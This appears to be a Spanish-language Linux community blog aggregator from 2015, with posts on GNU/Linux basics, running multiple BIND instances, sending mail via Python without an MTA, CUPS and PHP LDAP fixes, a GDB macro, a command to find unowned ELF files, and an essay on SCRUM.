    Los usuarios de GNU/Linux tienen una gran libertad al elegir sus programas. Por ejemplo, un usuario de GNU/Linux puede elegir entre docenas de distintos intérpretes de línea de órdenes y entre distintos entornos de escritorio. Tantas opciones confunden a veces a los usuarios de otros sistemas operativos que no están acostumbrados a poder modificar el intérprete de línea de órdenes o el entorno de escritorio.

    Es menos probable que un sistema Linux se colapse, además tiene mejor capacidad para ejecutar múltiples programas al mismo tiempo y es más seguro que muchos otros sistemas operativos. Debido a estas ventajas, Linux es el sistema operativo que ha experimentado mayor crecimiento en el mercado de los servidores. Últimamente, GNU/Linux está empezando a ser popular entre los usuarios domésticos y en empresas.

    ¿Cuanto Cuesta?

    GNU/Linux es libre y sin costo, cualquier persona puede descargar, modificar y compartir su version de GNU/Linux. GNU/Linux fue concebido como Software Libre,tiene un autor que es Linus Torvalds, pero no hay un individulo que sea dueño de GNU/Linux, de cierta manera podemos decir que todos somos dueños de Linux.

    Si todos lo pueden ver y modificar ¿Por que es tan seguro?

    Linux el poder de la comunidad Avenegra

    La mayoría de los Sistemas Operativos GNU/Linux tiene una comunidad muy grande que todos los días actualiza los programas y verifica la integridad, seguridad, y calidad de el software aparte de que empresas como Redhat, Novell, Intel, Canonical, Google, Samsung, Sony, entre otras aportan sus corrección, verificaciones, actualizaciones, mejoras de seguridad y destinan recursos al desarrollo del ecosistema de GNU/Linux.

    GNU/Linux al crear esa unión entre todas las personas y poder decir que esto nos pertenece a todos podemos aportar un granito de arena para que GNU/Linux y su ecosistema siga evolucionando, si una persona ve un error puede corregirlo y publicar esa corrección para que todos sigamos usando el software con las ultimas concreciones y si tu eres un usuario normal hay muchas distribuciones y aplicaciones que manejan sistemas de Feedback para corrección de errores los cuales reportan el error a los desarrolladores para seguir trabajando en mejorar el software.

    Si esto no es suficiente cabe destacar que todos los cambios al código de GNU/Linux son revisados antes de ser publicados por un grupo de personas de confianza que la comunidad y el mismo Linus eligen para evitar cualquier tipo de error o código malicioso dentro de GNU/Linux  y si alguien no esta de acuerdo con alguna comportamiento o linea de código sospechosa puede decirlo ante la comunidad y sera revisado.

    ¿Puedo Jugar en Linux?

    games-tux-controllerSteam-Linux-583x400

     

    Claro que si,  Linux tiene un gran catalogo de juegos libres y comerciales para disfrutar, también hay que agregar que Steam  (una plataforma de distribución de Videojuegos bastante grande) tiene un cliente nativo para todos los sistemas operativos basados en GNU/Linux (Comúnmente llamados Distribuciones) y todos los juegos de Valve (La compañia que desarrolla Steam) pueden correr en Linux perfectamente.

     

    Pero yo quiero jugar mis Juegos de Windows en GNU/Linux ¿Puedo hacerlo?

    La respuesta es si, existen juegos que uno siempre quiere jugar y que solo están disponibles para Windows, pero GNU/Linux cuenta con una desarrollo llamado Wine y otra que tiene el nombre de PlayOnLinux.

    Wine es una capa de compatibilidad para aplicaciones Windows sobre sistemas tipo Unix y PlayOnLinux es una aplicación que descarga una serie de instrucciones para descargar las dependencia e instalar el software solo dando unos cuantos clics.

    ¿Que herramientas hay para desarrollar en Linux?

    Muchos me preguntan que si pueden usar Visual Studio en Linux, la respuesta es si y no, depende de la versión de Visual Studio. Las ultimas versiones funcionan bastante mal en GNU/Linux pero Visual Studio 2010 funciona de maravilla sin embargo Microsoft ya saco una version de Visual Studio para GNU/Linux, su nombre es Code y funciona muy bien si desas enfocarte a cualquier cosa que no sea .Net. Si tu estas interesado en desarrollar en .Net existe un proyecto llamado Mono que se encarga de portar gran parte del Framework de .Net a GNU/Linux y con la apertura de .Net al codigo abierto existen una gran cantidad de proyectos similares a mono.

    Primera impresion de Visual Studio Code

    Sin embargo existen muchas otras herramientas que permiten programar en GNU/Linux y que son mas semejantes a un IDE o son un IDE completo, este es el caso de Sublimetext uno de mis favoritos, es un editor de texto bastante completo y es tan extensible que puede convertirse en un IDE muy robusto, lamentablemente es de paga y cuesta 70 dolares pero puedes usarlo sin ningun problema de manera gratuita, existen otros editores de texto libres muy completos como lo es Atom un proyecto de Github para programadores, Atom es un editor de texto tan extensible que prácticamente puede convertirse en un IDE muy robusto y es bastante agradable programar en el.

    Sublimetext en ubuntu Atom en Gnome 3

     

    Si ya llegaron hasta este punto dejen un comentario y sientan la libertad de aclarar cualquier duda, les dejo una galeria con algunos entornos graficos de linux

    Click to view slideshow.

    Software Freedom Day, Tijuana 2015

    La fecha para el Software Freedom Day Tijuana 2015 está establecida. Será el sábado 19 de septiembre de 2015.

    ¡Bienvenidos presentadores! Envía tu propuesta antes del 31 de julio a http://sfd.gultij.org/

    Regístrate en http://sfd.gultij.org/

    ¡Comparte tus conocimientos! Regístrate en http://sfd.gultij.org/ y presenta en el Software Freedom Day, Tijuana 2015

    Alex Callejas

    Alex Callejas
    |rootzilopochtli.com|

    How to: Múltiples instancias de bind en un mismo server

    1354036998418742

    “Qué camino debo tomar?” – preguntó Alicia

    -“A donde quieres ir?” – respondió el gato de Cheshire

    “No lo sé.” – contestó Alicia

    -“Entonces..” – dijo el Gato – “…no importa que camino tomes.”

    “..Siempre que llegue a alguna parte” – añadió Alicia como explicación

    -“¡Oh, siempre llegarás a alguna parte!” – aseguró el Gato -“, si caminas lo suficiente..”

    Alicia en el país de las MaravillasLewis Carroll

    Hace algunos días me llego una solicitud de apoyo en un caso de un cliente, donde un compañero preguntaba:

    Case 01438xxx: can multiple named run on one node?
    
    Hi List,
    
    My customer has a question that multiple named can run on one node or
    not. Does anyone have any information about this?
    
    Here is an original message.
    ----------------------------------------------------------------------
    Description of problem:
     Recently DNS transactions which come into the customer's production system 
     are increasing more and more.
     And It becomes difficult that one named on a node handles all transactions.
     So, the customer wants to run multiple named on one node and wants to 
     balance load of transactions without additional physical equipment.
    
     Could you answer us the following questions from the customer?
     - Is "running multiple named on one node" supported?
     If you have, could you tell us know-how about running multiple named 
     on one node?
    
    Version-Release number of selected component (if applicable):
     - bind-9.3.6-25.P1.el5_11.2 (RHEL5)
    ----------------------------------------------------------------------

    El problema en sí, conforme a mi experiencia, era una falta de tuning de bind (el software que implementa el protocolo de DNS, comúnmente conocido por su daemon named), y se resolvió de esa manera; pero el tema se me hizo interesante para desarrollar este post :-)

    NOTA: Debido a la complejidad del tema, voy a obviar algunas partes de la configuración, las cuales (si son de su interés) las pueden revisar en una presentación que compartí hace algún tiempo, de un curso que impartí, además de la guía de referencia de configuración del mismo bind.

    En un servidor debian (porque luego me #Trollean por sólo ejemplificar con Fedora/CentOS/RHEL :-) ) tengo configurado un DNS con el dominio: example-rh.com (el cuál no existe en internet, es sólo para mis pruebas locales):

    root@debian:~# ps auxf | grep named | grep -v grep ; netstat -tulpn | grep named
    bind 475 0.0 2.0 166580 21264 ? Ssl 17:55 0:00 /usr/sbin/named -f -u bind
    tcp  0 0 192.168.122.44:53  0.0.0.0:* LISTEN 475/named 
    tcp  0 0 127.0.0.1:53       0.0.0.0:* LISTEN 475/named 
    tcp  0 0 127.0.0.1:953      0.0.0.0:* LISTEN 475/named 
    tcp6 0 0       ::1:953           :::* LISTEN 475/named 
    udp  0 0 192.168.122.44:53  0.0.0.0:*        475/named 
    udp  0 0 127.0.0.1:53       0.0.0.0:*        475/named 
    root@debian:~# 
    root@debian:~# nslookup 
    > example-rh.com
    Server: 192.168.122.44
    Address: 192.168.122.44#53
    
    Name: example-rh.com
    Address: 192.168.122.1
    > set type=SOA
    > example-rh.com
    Server: 192.168.122.44
    Address: 192.168.122.44#53
    
    example-rh.com
     origin = ns.example-rh.com
     mail addr = root.ns.example-rh.com
     serial = 2015140701
     refresh = 1200
     retry = 3600
     expire = 1209600
     minimum = 3600
    > exit
    
    root@debian:~# 
    

    Primeramente, creamos el directorio donde enjaularemos nuestro segundo DNS, con sus correspondientes subdirectorios de configuración:

    root@debian:~# mkdir -p /var/named/dns2/{etc,var}
    root@debian:~# mkdir -p /var/named/dns2/etc/bind
    root@debian:~# mkdir -p /var/named/dns2/var/{named,run}

    Copiamos los archivos de configuración de zonas del DNS actual, dentro de la jaula:

    root@debian:~# cp /var/named/* /var/named/dns2/var/named/
    root@debian:~# ls /var/named/dns2/var/named/
    192.168.122.zone db.127 db.empty db.root example-rh.com.zone named.log zones.rfc1918
    root@debian:~#

    Y modificamos dichos archivos para crear un segundo dominio de resolución [example-deb.com] con su correspondiente resolución inversa [192.168.123]:

    root@debian:/var/named/dns2/var/named# mv 192.168.122.zone 192.168.123.zone 
    root@debian:/var/named/dns2/var/named# mv example-rh.com.zone example-deb.com.zone
    root@debian:/var/named/dns2/var/named# cat example-deb.com.zone
    $ORIGIN .
    $TTL 1d
    example-deb.com IN SOA ns.example-deb.com. root.ns.example-deb.com. (
                                  2015150701 ; numero de serie
                                        1200 ; refresh (20 minutos)
                                        3600 ; retry (1 hora)
                                     1209600 ; expire (2 semanas)
                                        3600 ; minimum (1 hora)
                                            )
                           A  192.168.123.1
                           NS ns.example-deb.com.
                           MX 10 mail.example-deb.com.
    $ORIGIN example-deb.com.
    ns     A     192.168.123.2
    mail   A     192.168.123.44
    www    CNAME example-deb.com.
    centos A     192.168.123.110
    test   CNAME centos.example-deb.com.
    root@debian:/var/named/dns2/var/named# cat 192.168.123.zone 
    $ORIGIN .
    $TTL 1d
    123.168.192.in-addr.arpa IN SOA ns.example-deb.com. root.ns.example-deb.com. (
                                           2015150701 ; numero de serie
                                                 1200 ; refresh (20 minutos)
                                                 3600 ; retry (1 hora)
                                              1209600 ; expire (2 semanas)
                                                 3600 ; minimum (1 hora)
                                                     )
                                  NS ns.example-deb.com.
    $ORIGIN 123.168.192.in-addr.arpa.
    2    PTR    ns.example-deb.com.
    44   PTR    mail.example-deb.com.
    110  PTR    centos.example-deb.com.
    root@debian:/var/named/dns2/var/named#

    Además de los archivos de configuración, con su modificación anteriormente comentada:

    root@debian:/var/named/dns2/etc/bind# cp /etc/bind/named.conf .
    root@debian:/var/named/dns2/etc/bind# cat named.conf 
    options {
     directory "/var/named";
     pid-file "/var/run/named.pid";
    };
    
    zone "." {
     type hint;
     file "db.root";
    };
    
    zone "0.0.127.in-addr.arpa" {
     type master;
     file "db.127";
    };
    
    zone "example-deb.com" {
     type master;
     file "example-deb.com.zone";
    };
    
    zone "123.168.192.in-addr.arpa" {
     type master;
     file "192.168.123.zone";
    };
    
    include "/var/named/zones.rfc1918";
    root@debian:/var/named/dns2/etc#

    El directorio donde se encuentran las zonas, y los archivos de configuración deben pertenecer a bind:

    root@debian:/var/named/dns2/etc# chown -R bind:bind /var/named/dns2/

    Ejecutamos el daemon, indicándole el usuario, el puerto y el directorio enjaulado a utilizar:

    root@debian:~# /usr/sbin/named -u bind -p 5353 -t /var/named/dns2

    Verificamos que se estén ejecutando ambos DNS:

    root@debian:~# ps auxf | grep named | grep -v grep ; netstat -tulpn | grep named
    bind 475 0.0 2.0 166060 21276 ? Ssl Jul14 0:00 /usr/sbin/named -f -u bind
    bind 1429 0.0 1.4 166320 15308 ? Ssl 00:31 0:00 /usr/sbin/named -u bind -p 5353 -t /var/named/dns2
    tcp  0 0 192.168.122.44:53   0.0.0.0:* LISTEN  475/named 
    tcp  0 0 127.0.0.1:53        0.0.0.0:* LISTEN  475/named 
    tcp  0 0 127.0.0.1:953       0.0.0.0:* LISTEN  475/named 
    tcp  0 0 192.168.122.44:5353 0.0.0.0:* LISTEN 1429/named 
    tcp  0 0 127.0.0.1:5353      0.0.0.0:* LISTEN 1429/named 
    tcp6 0 0       ::1:953            :::* LISTEN  475/named 
    udp  0 0 192.168.122.44:53   0.0.0.0:*         475/named 
    udp  0 0 127.0.0.1:53        0.0.0.0:*         475/named 
    udp  0 0 192.168.122.44:5353 0.0.0.0:*        1429/named 
    udp  0 0 127.0.0.1:5353      0.0.0.0:*        1429/named 
    root@debian:~#

    Y checamos que esté resolviendo correctamente el nuevo dominio:

    root@debian:~# nslookup -port=5353
    > example-deb.com
    Server: 192.168.122.44
    Address: 192.168.122.44#5353
    
    Name: example-deb.com
    Address: 192.168.123.1
    > set type=PTR
    > 192.168.123.2
    Server: 192.168.122.44
    Address: 192.168.122.44#5353
    
    2.123.168.192.in-addr.arpa name = ns.example-deb.com.
    > set type=MX
    > example-deb.com
    Server: 192.168.122.44
    Address: 192.168.122.44#5353
    
    example-deb.com mail exchanger = 10 mail.example-deb.com.
    > set type=SOA
    > example-deb.com
    Server: 192.168.122.44
    Address: 192.168.122.44#5353
    
    example-deb.com
     origin = ns.example-deb.com
     mail addr = root.ns.example-deb.com
     serial = 2015150701
     refresh = 1200
     retry = 3600
     expire = 1209600
     minimum = 3600
    > exit
    
    root@debian:~#

    Con esto tendríamos, funcionalmente, dos servidores DNS (con diferentes dominios) trabajando en el mismo servidor, en diferentes puertos.

    PLUS: Les comparto una guía rápida de troubleshooting de DNS, que utilizo como referencia para la resolución de mis casos 😉

    TroubleshootingDNSErrorMadeEasy-Final

    Espero les sirva…

    Viernes 10 de julio de 2015

    Óscar A. Parra V.

    Óscar A. Parra V.
    El Canibal » Geek

    secondary screen can’t be rotated

    Hace poco compre una HP ENVY Notebook – m7-k211dx y un monitor SAMSUNG SERIES 7 S27C750

    resulta que por alguna razon, HP tiene bloqueado la rotacion del monitor secundario, afortunadamete encontre la solucion haciendo un cambio en el registro.

    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000

    cambiando el valor de 0 a 7 en los siguientes:
    Display1_RotationCaps
    Display2_RotationCaps

    IMG_20150710_165414

    Jueves 09 de julio de 2015

    Moisés Silva

    Moisés Silva
    Moy Blog

    Sending email with python without an MTA

    I always found puzzling that to send simple notification emails all examples I could find on the web required a valid account on an MTA and hard-coding your credentials in the script or some other dependencies that seemed a bit non-straight forward to me.

    This is an alternative method that sends directly an email without intermediaries. First, you’ll need to install the dnspython package:

    pip install dnspython

    Now, this is the script that takes care of sending email:

    #!/usr/bin/env python2.7
     
    import sys
    import smtplib
    import dns.resolver
     
    answers = dns.resolver.query('dest-server.com', 'MX')
    if len(answers) <= 0:
        sys.stderr.write('No mail servers found for destination\n')
        sys.exit(1)
     
    # Just pick the first answer
    server = str(answers[0].exchange)
     
    # Add the From: and To: headers
    fromaddr = 'source-email@whatever.com'
    toaddr = 'destination@dest-server.com'
    body = 'some email body'
    msg = "From: {}\r\nTo: {}\r\n\r\n{}".format(fromaddr, toaddr, body)
     
    server = smtplib.SMTP(server)
    server.set_debuglevel(1)
    server.sendmail(fromaddr, toaddr, msg)
    server.quit()

    This script resolves the mail server DNS record for the given destination (you could use a parameter instead of hard-coding it if you want to make it more generic). Once it finds out the mail server it directly tries to contact the server and send the email there using the usual basic SMTP commands (ehlo, mail FROM:, rcpt TO: etc). No need for intermediaries for such simple cases :)

    There are surely a bunch of more complicated scenarios this script does not handle, but, it fits nicely when you need to send emails to your sysadmin account from cron jobs on random servers in your infrastructure.

    Miércoles 08 de julio de 2015

    Antonio de Dios

    Antonio de Dios
    Webadedios » Linux

    solución a medias: cups Unable to get list of printer drivers

    Meramente no es una solución, solo una identificación del responsable, del paquete conflictivo y evidentemente si no es de uso diario, puede ser una solución eliminarlo.

    el error sale en cups al agregar o intentar agregar una impresora

    Unable to get list of printer drivers
    sucess

    Como uso arch, el primer lugar que consulte para arreglarlo fue el propio wiki https://wiki.archlinux.org/index.php/CUPS donde acotan

    Note:

    hplip depends on foomatic-db-engine which prevents the drivers list from appearing when a printer is added to CUPS via the web user interface (following error : “Unable to get list of printer drivers”). Possible workarounds:

    Either: Install hplip first, then retrieve the PPD file that matches your printer from /usr/share/ppd/HP/. Next, remove hplip entirely as well as any unnecessary dependencies. Finally, install the printer manually using the CUPS web UI, selecting the PPD file you retrieved, and then re-install hplip. After a reboot, you should have a fully working printer.
    Or: Remove hplip, foomatic-db and foomatic-db-engine along with any unnecessary dependencies. Reinstall hplip and restart CUPS. Install your printer using the CUPS web UI, which should now be able to find the drivers automatically. No reboot needed.

    osea, responsabilizan a foomatic y piden que lo elimines… pues no es cierto, el responsable es gutenprint

    para que desaparezca el error, en arch lo único que hice fue eliminarlo


    #pacman -Rs gutenprint
    #systemctl restart org.cups.cupsd

    Para mi es indispensable foomatic, ya que mis impresoras son hp, y gutenprint solo lo utilizo desde gimp (raramente), y todo funciona bien sin gutenprint instalado. Viendo el error en internet le echan la culpa a hlip, a todo los paquetes de foomatic, y por lo mismo, casi todas las recomendaciones son desisntalarlos… el error lo crea gutenprint y ya le mande una nota a sus desarrolladores (por favor, insistan) para que lo arreglen.

    si quieren probar la solución falsa, pueden darle

    #pacman -R foomatic-db foomatic-db-engine foomatic-filters hplip

    y dejar solo a gutenprint, que es lo que encontré en la mayoría de las páginas que consulté

    insisto, el conflicto lo crea gutenprint, al momento de escribir esto instalada la versión gutenprint-5.2.10-1 de arch, el error me apareció al actualizar e impide ver la lista de impresoras

    Martes 07 de julio de 2015

    Gerónimo Orozco

    Gerónimo Orozco
    Patux's booring news

    VPN as a Service with OpenStack

    Registrate




    En esta charla estaremos platicando la arquitectura y funcionalidad del módulo de VPNaaS de OpenStack, haremos una demostración de su funcionalidad y platicaremos sobre tu potencial y futuro.

    Lunes 29 de junio de 2015

    Alex Callejas

    Alex Callejas
    |rootzilopochtli.com|

    Sitio en recuperación

    bart

    Y es por esto, queridos amigos, que hay que respetar Las Tres Leyes del SysAdmin

    Estaremos de regreso muy pronto!

    mantenimiento

     

    Viernes 26 de junio de 2015

    José Oviedo

    José Oviedo
    oviedo.mx

    No LDAP support for PHP, ¿como activar la librería?

    Estoy probando la librería adLDAP en PHP con Codeigniter y al momento de ingresar a la página me marca un error de que no se cuenta con soporte para LDAP.

    Fatal error: Uncaught exception ‘adLDAP\adLDAPException’ with message ‘No LDAP support for PHP. See: http://www.php.net/ldap’ in C:\xampp\htdocs\sistema\application\libraries\adLDAP\adLDAP.php:606

    Lo más extraño es que en el archivo de configuración php.ini, si esta habilitada la DLL de php_ldap.dll

    extension=php_ldap.dll

    Se reinicia XAMPP y nada de nada, el mismo error.

    La solución es copiar estos 3 archivos al directorio de c:\windows\system\ los cuales estan dentro de c:\xampp\php\

    libeay32.dll
    libsasl.dll
    ssleay32.dll

    Una vez copiados a la carpeta system de Windows, reiniciamos Apache y listo!!!, ya tenemos el módulo LDAP activado.

    ldap

    LDAP Support enabled
    RCS Version $Id: 6de334df54b2b93e6a633c353cfca7412b9a37cd $
    Total Links 0/unlimited
    API Version 3001
    Vendor Name OpenLDAP
    Vendor Version 20433
    SASL Support Enabled

    Moisés Silva

    Moisés Silva
    Moy Blog

    GDB strcmp in a core dump

    I tried finding an answer on google about how to do a strcmp operation in a core dump and could not find any solution. The answers available focused on using “call” to call the libc strcmp() function on a live process. Most interesting debugging for me happens on core dumps, so I decided to write my own gdb user defined command (sort of like a macro):

    define gdb_strcmp
            dont-repeat
            set $result = 1 
            set $_i = 0 
            if ($arg0[0] == 0x0 && $arg1[0] != 0x0)
                    set $result = 0 
            end 
            if ($arg0[0] != 0x0 && $arg1[0] == 0x0)
                    set $result = 0 
            end 
            while ($result == 1 && $arg0[$_i] != 0x0 && $arg1[$_i] != 0x0)
                    if ($arg0[$_i] != $arg1[$_i])
                            set $result = 0 
                    end 
                    set $_i = $_i + 1 
            end 
    end
    document gdb_strcmp
    Determines if two C strings match
    end

    Note that gdb user commands are annoying because you don’t really have return values (they are not really functions/macros), so you have to set a global variable (yuck!) to hold the result. This macro sets $result to 0 if the strings are not equal and $1 if they are. I contemplated using the same return value than the C counterpart, but since I was interested in just a ‘yes or no’ answer I sticked to use 1 for equal and 0 for non equal.

    You can then go ahead and use this macro in other macros to do useful things, such as scan a linked list and verify if a given member has certain string value.

    PD. I know it’d be cleaner to start using Python for these things but I have not really looked yet into that

    Jueves 25 de junio de 2015

    Fco. de la Torre Inguanzo

    Fco. de la Torre Inguanzo
    LINUXMANR4.COM » Linux y Software Libre

    Señal de cruce de peatones

     

    cruce de peatonesLetrero de cruce de peatones

    Por aquí les dejo esta señal de Cruce de Peatones hecha en Inkscape. Como pueden ver es un diseño muy simple, un cuadrado ligeramente redondeado y que se giró 45º, el color del fondo amarillo es el #ffcc00 , algunas lineas gruesas con terminado redondeado para hacer el camino. Líneas de Bézier para hacer la silueta humana y un circulo para la cabeza.

    Si quieren tomar este diseño les dejo el archivo para su descarga.

    The post Señal de cruce de peatones appeared first on LINUXMANR4.COM.

    Lunes 15 de junio de 2015

    Héctor Daniel Cortés

    Héctor Daniel Cortés
    'Aztec Eagle' Turbo

    Creo que tengo un inquilino


    find / -type f | xargs file | fgrep ELF | cut -f1 -d: | xargs rpm -qf | fgrep 'not owned'
    Gustavo Rubio

    Gustavo Rubio
    Ahí vamos

    We suck at agile and SCRUM, here’s why

    La real academia de la lengua española es clara en la definición de la palabra ágil:

    Ligero, pronto, expedito.

    No en vano Fowler, Martin y compañía decidieron adoptar esta palabra para definir un proceso de desarrollo de software con métricas apegadas a la realidad pero lo más importante: con resultados tangibles.

    Recientemente, en el proyecto más actual en el que me encuentro laborando, he tenido oportunidad de (intentar) implementar esta metodología de trabajo.

    ¿He sido exitoso en dicha implementación?

    Más o menos…

    Waterfall Vs SCRUM

    Existen muchas metodologías de desarrollo de software siendo la más común waterfall, esa que nos dice que tenemos que hacer más o menos lo siguiente:

    1. Levantamiento de requerimientos
    2. Diseño
    3. Implementación
    4. Verificación
    5. Mantenimiento

    640px-Waterfall_model.svg

    El problema más grande que los detractores de waterfall identifican es la poca flexibilidad para ajustar los requerimientos o metas del proyecto ya que una vez que hemos pasado de un paso al siguiente es muy difícil, complicado y caro cambiar el objetivo del proyecto, situación que el 90% del tiempo va a suceder por varios factores, principalmente por:

    • El cliente cambia los requerimientos del proyecto, después de la fase planeación o negociación por tener poca visibilidad de las necesidades durante el análisis y diseño
    • Inconvenientes u obstáculos técnicos que son difíciles de encontrar en el análisis inicial, cuando solo se está enfocado en aspectos generales del proyecto y no de las particularidades
    • Cambios en el entorno del negocio en el cual se desempeña el cliente lo cual hace necesario repensar a que elementos darles prioridad

    Es por estas y otras razones (principalmente el “epic failure” de la mayoría de los proyectos administrador con waterfall) que las metodologías ágiles de desarrollo de software han sido adoptadas en la última decada, particularmente SCRUM.

    SCRUM

    A diferencia de waterfall, SCRUM no pleantea una metodología de trabajo lineal sino más bien iterativa, es decir, con n cantidad de ciclos:

    1. Sprint planning (planeación del siguiente bloque de trabajo)
    2. Daily standup (revisión de progreso del día anterior y plan de trabajo del día actual)
    3. Sprint review (revisión de elementos o entregables listos)
    4. Sprint retrospective (o análisis del trabajo realizado y lo que se pudo completar)

    scrum_process

    Por supuesto que SCRUM es más que eso pero en los términos más simples estos son los procesos (o ceremonias, en la jerga de scrum).

    De hecho, si tuviera que explicar SCRUM a alguien que nunca ha trabajado bajo esta metodología, de la manera más simple sería:

    Es como waterfall, solo que infinito

    A diferencia de waterfall, SCRUM requiere que los mismos procesos se repitan idefinidamente hasta que el producto esté listo, de hecho, en la naturaleza de SCRUM está el hecho de que no existe una meta como tal de un producto terminado sino que siempre es continuo el desarrollo. De este modo siempre hacemos análisis de requerimientos y estimaciones (sprint planning) diseño e implementación (durante el proceso de development) verificación (con las juntas diarias o los llamados daily standups y el sprint review) y finalmente el mantenimiento toda vez que se aplican fixes al software durante el mismo proceso. Este flujo de trabajo se repite por cada “sprint” que simplemente es un bloque de tiempo ya sea una semana, 15 días, etc. La ventaja de esta estrategia es que siempre se puede ir ajustando el proyecto según los requerimientos cambien y se pueden tener entregables fijos constantemente, es decir, el crecimiento del proyecto es orgánico.

    Big ACME corporation VS startups

    La mayoría de los proyectos en los que he estado involucrado han sido para empresas grandes, grandes y burocráticas. Naturalmente estos entornos de trabajo suelen ser los que más se inclinan por metodologías tradicionales como waterfall y es ahí donde he experimentado el fracaso de dicha metodología, salvo algunos honrosos casos.

    De hecho, en la mayoría de estos proyectos ni siquiera se ha seguido al pie de la letra una u otra metodología. Parte del fracaso de estos proyectos ha sido precisamente esa falta de organización y compromiso por todas las partes involucradas en el equipo.

    ¿Fracaso?…

    Sí, bueno, a pesar de ser productos que probablemente vieron la luz y están felizmente ejecutandose en entornos de producción puedo asegurarles que la mayoría elevaron su costo de desarrollo a mas del triple y se entregaron en fechas muy diferentes a las acordadas inicialmente. Desde el punto de vista técnico probablemente el producto haga lo que tenga que hacer, pero desde la perspectiva de negocio fue un fracaso ya que probablemente no llego en tiempo ni forma, y eso siempre cuesta dinero y bueno, todos estamos en esto por el dinero ¿No?

    La mayoría de las veces que he tenido que administrar proyectos los elementos involucrados en dicha tarea han sido inútiles por una serie de situaciones complicadas donde obviamente todos hemos tenido la culpa. Por ejemplo, usualmente para el diseño inicial de una aplicación se suelen desarrollar los siguientes documentos o elementos:

    • Documento de negocio que explica los requerimientos del proyecto, de sus usuarios y alcance
    • Documento con entregables, definición de funcionalidad por módulo, etc.
    • Diagrama de proyecto (gantt chart, calendario, etc.)

    ¿Sáben cual de los elementos anteriores sigue siendo válido después de un par de meses de iniciado el proyecto?

    Ninguno.

    Trabajar con corporativos o empresas grandes requiere hacer compromisos de caballeros, esos que van firmados en documentos y que tanto el cliente como el proveedor saben que no se cumplirán pero que de todas formas se necesitan para satisfacer al área de compras del cliente y la jurídica y administrativa del proveedor. Desgraciadamente, todos los niveles hacía abajo en el escalafón quedamos atrapados en dicha mentira pues la mayoría del equipo, desde el director de proyecto, hasta el programador, saben que será imposible entregar el producto y no precisamente porque crean que es complicado sino todo lo contrario: incertidumbre, se sabe a grandes rasgos que se debe hacer pero es imposible estimar un proyecto “de pi a pa” de manera tán genérica.

    Lo anterior hace que pasados un par de meses no solo los documentos iniciales se vuelvan inútiles sino que además se tenga poca idea del rumbo que el proyecto debería de tener, cuales elementos deben llevar prioridad, donde están fallando las cosas, etc. Y al final, cuando el cliente está en una situación crítica donde no ha recibido absolutamente nada y ya ha pasado al menos la mitad del tiempo estimado de desarrollo se empieza a explotar al equipo para tratar de sacar un producto que ahora cuenta con requerimientos totalmente diferentes a los pactados inicialmente, peor aun, el seguimiento de avance y progreso del proyecto termina siendo administrado en una hoja de excel con colores chillones y columnas que nos indican la prioridad de cada uno de ellos: para antier, para ayer y crítico.

    Después de años de estar involucrado en proyectos de este tipo, y aprovechando que ahora laboraba en una empresa de desarrollo de software que trabaja exclusivamente con startups decidí que era momento de intentar algo diferente. Si bien SCRUM y las metodologías ágiles no me eran ajenas tampoco podía decir que tenía experiencia real en el tema ya que haber sugerido dicha metodología de trabajo en proyectos anteriores hubiera sido causa de burla (lo menos) por parte de mis superiores sin embargo mi nuevo cliente SÍ estaba dispuesto a trabajar bajo dicha metodología.

    Pensando que tenía el apoyo del cliente y suficiente conocimiento con el tema eché a andar la máquina y comenzamos a trabajar en nuestro proyecto donde finalmente entendí lo equivocado que estaba sobre el tema de colaboración.

    Lo que NÓ es SCRUM

    Tan pronto como inició el proyecto empecé a hacer un poco de investigación sobre el tema: me leí algún par de libros (recomiendo este y este otro), monté un proyecto en pivotal tracker con algunas de las historias de usuario o elementos iniciales del proyecto y comencé a diseñar un proceso de trabajo interno en el equipo.

    Al cabo de un par de meses me dí cuenta que a pesar de intentar implementar la metodología y seguir más o menos al pie de la letra los pasos las cosas no estaban saliendo como se habían planeado. El principal problema era la falta de colaboración entre el cliente y el equipo de desarrollo. Por ejemplo, nuestro CTO o director técnico del proyecto no estaba disponible para responder dudas la mayoría del tiempo y por otra parte no había un rol definido sobre quien sería el “product owner” o quien debería priorizar las tareas y que era más importante para entregar en cada ciclo.

    Tras varias juntas y discusiones con el cliente intenté explicarles no solo la metodología de trabajo sino las ventajas de seguirlo al pie de la letra. Una de las ventajas de nuestro cliente es que la mayoría de los miembros de su equipo son personas jóvenes y abiertas a cambios o metodologías de trabajo diferente, sin embargo parecía que aún cuando entendían las ventajas de SCRUM no entendían las responsabilidades porque tanto el cliente como el proveedor tenemos responsabilidades en SCRUM. Para el cliente, SCRUM seguía siendo un buzzword de moda entre startups que permite entregar trabajo de manera ligera, pronta, y expedita, solo que por arte de magia o generación espontánea.

    La parte más difícil de enseñar SCRUM a un cliente es hacerle entender que si este no se involucra será prácticamente imposible que el proyecto sea exitoso.

    Pero, ¿Qué es realmente lo que debemos ayudar a nuestro cliente a entender?

    En un artículo de Mike Hadlow podemos leer lo siguiente:

    So what happened? Why is agile now about stand-ups, retrospectives, two-week iterations and planning poker?

    Somehow, over the decade or so since the original agile manifesto, agile has come to mean ‘management agile’. It’s been captured by management consultants and distilled as a small set of non-technical rituals that emerged from the much larger, richer, but often deeply technical set of agile practices.

    Involucrar al cliente significa hacerlo entender el alcance técnico del proyecto. Tal como menciona el artículo citado SCRUM no es una metodología de administración de proyecto, es una metodología de desarrollo de software y tanto al cliente como a mi (el administrador de proyecto) nos ha costado entenderlo.

    Aun cuando recientemente hemos llegado a un punto donde nuestro cliente se ha involucrado lo suficiente (gracias a la propia presión que he ejercido para que esto suceda) siento que podríamos tener mejores resultados. Sí, tenemos planeación de sprint cada semana donde el cliente está involucrado. Sí, tenemos una llamada diaria con el cliente a manera de daily standup donde revisamos lo que hizo cada miembro del equipo el día anterior y lo que hará el día de hoy y si tiene algún obstáculo para completar dicha tarea. Sí, hacemos “groom” del backlog y nos aseguramos que cada miembro tenga suficiente trabajo para las siguientes iteraciones, priorizado y bien explicado. Sí, tenemos “team retrospectives” donde se discute el performance de todo el equipo y como podemos mejorar.

    Pero esto no ha sido suficiente.

    Citando de nuevo el artículo de Hadlow:

    The core problem is that non-technical managers of software projects will always fail, or at best be counter productive, whatever the methodology. Developing software is a deeply technical endeavour. Sending your managers on an agile course to learn how to beat developers over the head with planning poker, two week iterations and stand-ups will do nothing to save spaghetti code and incompetent teams. You might have software projects that succeed despite the agile nonsense, but that would be coincidence, not causation.

